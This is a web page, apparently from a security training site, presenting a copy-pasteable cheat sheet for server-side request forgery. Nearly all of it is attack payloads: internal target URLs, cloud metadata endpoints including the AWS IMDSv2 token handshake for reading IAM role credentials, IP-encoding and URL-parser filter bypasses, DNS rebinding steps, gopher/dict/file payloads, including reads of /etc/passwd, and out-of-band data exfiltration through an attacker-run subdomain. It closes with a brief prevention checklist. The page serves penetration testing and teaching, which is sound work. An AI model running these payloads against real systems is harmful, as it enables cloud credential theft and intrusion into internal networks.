SSRF: The Complete Practical Guide to Server-Side Request Forgery

SSRF Cheat Sheet

A dense, copy-pasteable SSRF reference: internal targets, cloud metadata endpoints, IMDSv2 handshake, IP-encoding bypasses, DNS rebinding, and gopher payloads.

Published

Every target and bypass you reach for during an SSRF test, in one place. Confirm the fetch first, then aim for internal services and the metadata endpoint, and reach for an encoding or a redirect when a filter stands in the way. For the how and why behind each section, start at the SSRF guide. Lock it in on a free live target.

Internal targets to try first

http://127.0.0.1/            http://127.0.0.1:80/
http://localhost/            http://[::1]/            (IPv6 loopback)
http://0.0.0.0/              http://0/                (shorthand for 0.0.0.0 on many stacks)
http://127.1/                (short form, expands to 127.0.0.1)
http://internal-hostname/    http://redis:6379/       http://elasticsearch:9200/

More on the network view in reaching internal services.

Cloud metadata endpoints (the high-value targets)

CloudBase URLRequired headerKey path(s)
AWS (IMDSv1)http://169.254.169.254/latest/meta-data/noneiam/security-credentials/<role>
AWS (IMDSv2)http://169.254.169.254/latest/meta-data/X-aws-ec2-metadata-token: <token>token via PUT /latest/api/token + X-aws-ec2-metadata-token-ttl-seconds: 21600
GCPhttp://metadata.google.internal/computeMetadata/v1/Metadata-Flavor: Googleinstance/service-accounts/default/token
Azurehttp://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01Metadata: trueresource=https://management.azure.com/
# AWS IMDSv2 token handshake (two steps), then read the role creds:
PUT http://169.254.169.254/latest/api/token
    Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
    Header: X-aws-ec2-metadata-token: <token-from-PUT>

Many SSRF features set the URL but NOT custom headers, which is exactly why IMDSv2 (token-in-header) and GCP/Azure (required header) are harder to reach than header-free IMDSv1. Full detail in cloud metadata abuse.

Filter bypass: IP encodings for 127.0.0.1

http://2130706433          (decimal of 127.0.0.1)
http://0x7f000001          (hex)
http://0x7f.0x0.0x0.0x1    (dotted hex)
http://0177.0.0.1          (octal)
http://0177.0000.0000.0001 (full octal)
http://127.1               (short form)
http://127.0.0.1.          (trailing dot)
http://[::ffff:127.0.0.1]  (IPv4-mapped IPv6)

The same re-encoding works on the metadata IP 169.254.169.254.

Filter bypass: authority and redirect tricks

http://[email protected]/       (userinfo @ trick, real host is 127.0.0.1)
http://127.0.0.1#@expected-host/      (fragment confuses a naive parser)
http://expected-host.attacker.com/    (prefix/contains match bypass)
http://trusted-host.example/redirect?to=http://169.254.169.254/   (open-redirect chain)

DNS rebinding (TOCTOU between validation and fetch)

1. Attacker domain resolves to a public IP on the first lookup (passes the allow-list check).
2. TTL expires; the second lookup (the actual fetch) resolves to 127.0.0.1 / 169.254.169.254.
Use a rebinding service that flips A records between two addresses on a short TTL.

Reasoning and more bypasses in allow-list and filter bypass.

Alternative protocols (when the client allows more than http/https)

file:///etc/passwd                         (local file read)
dict://127.0.0.1:6379/info                 (line-oriented service probe)
gopher://127.0.0.1:6379/_<url-encoded bytes>   (smuggle raw bytes to Redis/FastCGI/SMTP)
ftp://127.0.0.1/                           (internal FTP reach)

gopher:// is the workhorse for SSRF-to-RCE: it sends arbitrary bytes to a TCP service, for example crafted Redis commands to write a cron job, or a FastCGI request to run PHP. See SSRF to RCE.

Blind SSRF: prove the fetch out-of-band

http://unique-subdomain.oast.example/      (watch for a DNS and/or HTTP hit)
# Only DNS resolves, no HTTP connect -> outbound HTTP filtered, DNS leaks.
# Exfil small data in the subdomain:  http://<hex-or-base32-data>.oast.example/

Detection patterns in blind SSRF.

Port scan through SSRF (infer from timing/response)

http://127.0.0.1:22/     http://127.0.0.1:3306/     http://127.0.0.1:6379/
# Open port    -> fast connect, banner or protocol-mismatch error.
# Closed port  -> fast refused.
# Filtered port -> hangs until timeout.

Prevention checklist

  • Validate the resolved IP, not the string. Resolve the host, reject loopback (127.0.0.0/8, ::1), link-local (169.254.0.0/16), and all RFC1918 private ranges, and connect to that exact resolved IP to kill DNS rebinding.
  • Re-validate on every redirect hop, not just the first URL.
  • Allow only http/https. Disable file, dict, gopher, ftp.
  • Enforce AWS IMDSv2 with a hop limit of 1, and prefer workload identity over long-lived keys.
  • Isolate the fetcher on its own segment with egress firewalling, so a successful SSRF reaches nothing valuable.
  • Full defensive detail in the SSRF guide.

← Back to SSRF: The Complete Practical Guide to Server-Side Request Forgery